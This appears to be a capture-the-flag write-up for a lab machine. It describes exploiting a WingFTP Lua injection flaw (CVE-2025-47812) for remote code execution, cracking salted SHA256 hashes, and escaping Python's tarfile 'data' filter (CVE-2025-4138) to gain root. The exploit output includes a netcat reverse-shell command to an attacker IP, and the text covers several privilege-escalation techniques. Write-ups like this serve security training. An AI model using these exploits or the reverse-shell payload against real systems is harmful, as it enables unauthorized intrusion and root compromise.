exploiting CVE-2025-47812 lua injection in WingFTP for RCE, cracking a salted sha256 hash, then abusing CVE-2025-4138 PATH_MAX overflow to escape tarfile filter and get root
reconnaisance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$ nmap -sC -sV 10.129.6.216 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-20 02:03 CDT Nmap scan report for wingdata.htb (10.129.6.216) Host is up (0.043s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA) |_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519) 80/tcp open http Apache httpd 2.4.66 |_http-title: WingData Solutions |_http-server-header: Apache/2.4.66 (Debian) Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.33 seconds
This vulnerability arises from improper handling of NULL bytes in the 'username' parameter during login, leading to Lua code injection into session files. These maliciously crafted session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed, resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL) and the session creation logic (which uses the full unsanitized username).
[*] Testing target: http://ftp.wingdata.htb [+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.15.90 4444 -e /bin/sh' and username: 'anonymous' [+] UID extracted: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6 [+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6
local temppass = admin.password.."WingFTP" if c_GetAdminOptionInt(ADMIN_OPTION_ENABLE_SHA256) == 1 then password_md5 = sha2(temppass)
and for users:
1 2 3 4
if c_GetOptionInt(domain, DOPTION_ENABLE_PASS_SALTING) == 1 then temppass = user.password..salt_string if c_GetOptionInt(domain, DOPTION_ENABLE_SHA256) == 1 then password_md5 = sha2(temppass)
so admin is definitely sha256(password + "WingFTP", and users is sha256(password + salt_string, which is a dynamic salt so we need to find salt_string. basically back to square 1
searched for about an hour and a half for the salt, which is embarrassing actually because after pestering claude for 10 minutes i realized it’s actually a default salt with wingftp… the default salt is literally "WingFTP"
defmain(): parser = argparse.ArgumentParser( description="Restore client configuration from a validated backup tarball.", epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john" ) parser.add_argument( "-b", "--backup", required=True, help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, " "where <client_id> is a positive integer, e.g., backup_1001.tar)" ) parser.add_argument( "-r", "--restore-dir", required=True, help="Staging directory name for the restore operation. " "Must follow the format: restore_<client_user> (e.g., restore_john). " "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)." )
ifnot args.restore_dir.startswith("restore_"): print("[!] --restore-dir must start with 'restore_'", file=sys.stderr) sys.exit(1)
tag = args.restore_dir[8:] ifnot tag: print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr) sys.exit(1)
ifnot validate_restore_tag(tag): print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr) sys.exit(1)
try: with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data") print(f"[+] Extraction completed in {staging_dir}") except (tarfile.TarError, OSError, Exception) as e: print(f"[!] Error during extraction: {e}", file=sys.stderr) sys.exit(2)
if __name__ == "__main__": main()
for a bit i tried import hijacking, i figured since sudo allowed running Python3 with a specific script, i could try to drop a malicious tarfile.py file in /tmp, basically hoping python would import mine instead of stdlib. but this of course failed because Python 3.12 doesn’t include . in sys.path by default (rip)
then, i tried a symlink tar attack (manually), basically crafting a tar with a symlink pointing to /root/.ssh and writing authorized_keys through it. this would have worked on older Python but it got blocked
next, i tried a script overwrite, basically checking if i could just overwrite restore_backup_clients.py with malicious code, but we didn’t have write perms, only read+execute, so this failed
finally, i tried an absolute path tar entry, i tried a tar with /etc/passwd as the entry name, but also got blocked
CVE-2025-4138; why manual code auditing wins
naturally, i started to wonder why every single attempt i had was getting blocked. rather than pestering claude, i started closely reading & analyzing the code, step-by-step, piece-by-piece. i’ll break it down, and at the end i’ll explain what led me to finding the CVE
enforces that the filename matches exactly backup_<number>.tar and that the number isn’t zero. essentially prevents me from passing in something like ../../../../../etc/passwd or an arbitrary filename as the backup arg
only allows alphanumeric+underscores, 1-24 chars. prevents path traversal in the restore directory name, so i can’t pass something like restore_../../etc/ for example
two required args, tar filename & restore directory tag. nothing special
main() - validation chain:
1 2 3 4 5 6 7 8 9 10 11 12 13
# 1. filename format check ifnot validate_backup_name(args.backup): sys.exit(1)
# 2. file must actually exist in the hardcoded backups dir backup_path = os.path.join(BACKUP_BASE_DIR, args.backup) ifnot os.path.isfile(backup_path): sys.exit(1)
# 3. restore dir must start with "restore_" ifnot args.restore_dir.startswith("restore_"): sys.exit(1)
# 4. tag after "restore_" must pass the regex tag = args.restore_dir[8:] ifnot validate_restore_tag(tag): sys.exit(1)
with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data")
this is what got me wondering. at this point, the inputs are clean, the paths are controlled, there’s hardcoded base dirs, and even regex validation, but the contents of the tar file are never validated… it literally just trusts that filter="data" will prevent anything malicious inside the archive from escaping the staging dir.
this led me to wonder if there are any CVE’s for Python 3.12.3 that bypass this, which led me to discover 2 CVE’s
both exploit a PATH_MAX overflow in os.path.realpath() to bypass filter="data", the only difference is that CVE-2025-4138 uses arbitrary symlink creation outside the extraction dir, whereas CVE-2025-4517 uses arbitrary filesystem writes outside the extraction dir
both achieve the same end result so it doesn’t really matter which you choose, but i went with CVE-2025-4138, specifically this PoC, it has an explanation at the top if you’re interested
[*] Next Steps: 1. Transfer this tar file to the target machine (if remote). 2. Wait for a privileged process (using vulnerable Python) to extract it. 3. OR, if you have a vulnerable SUID python script, run it against this tar. 4. Once extracted, run: 'sudo su' to get a root shell.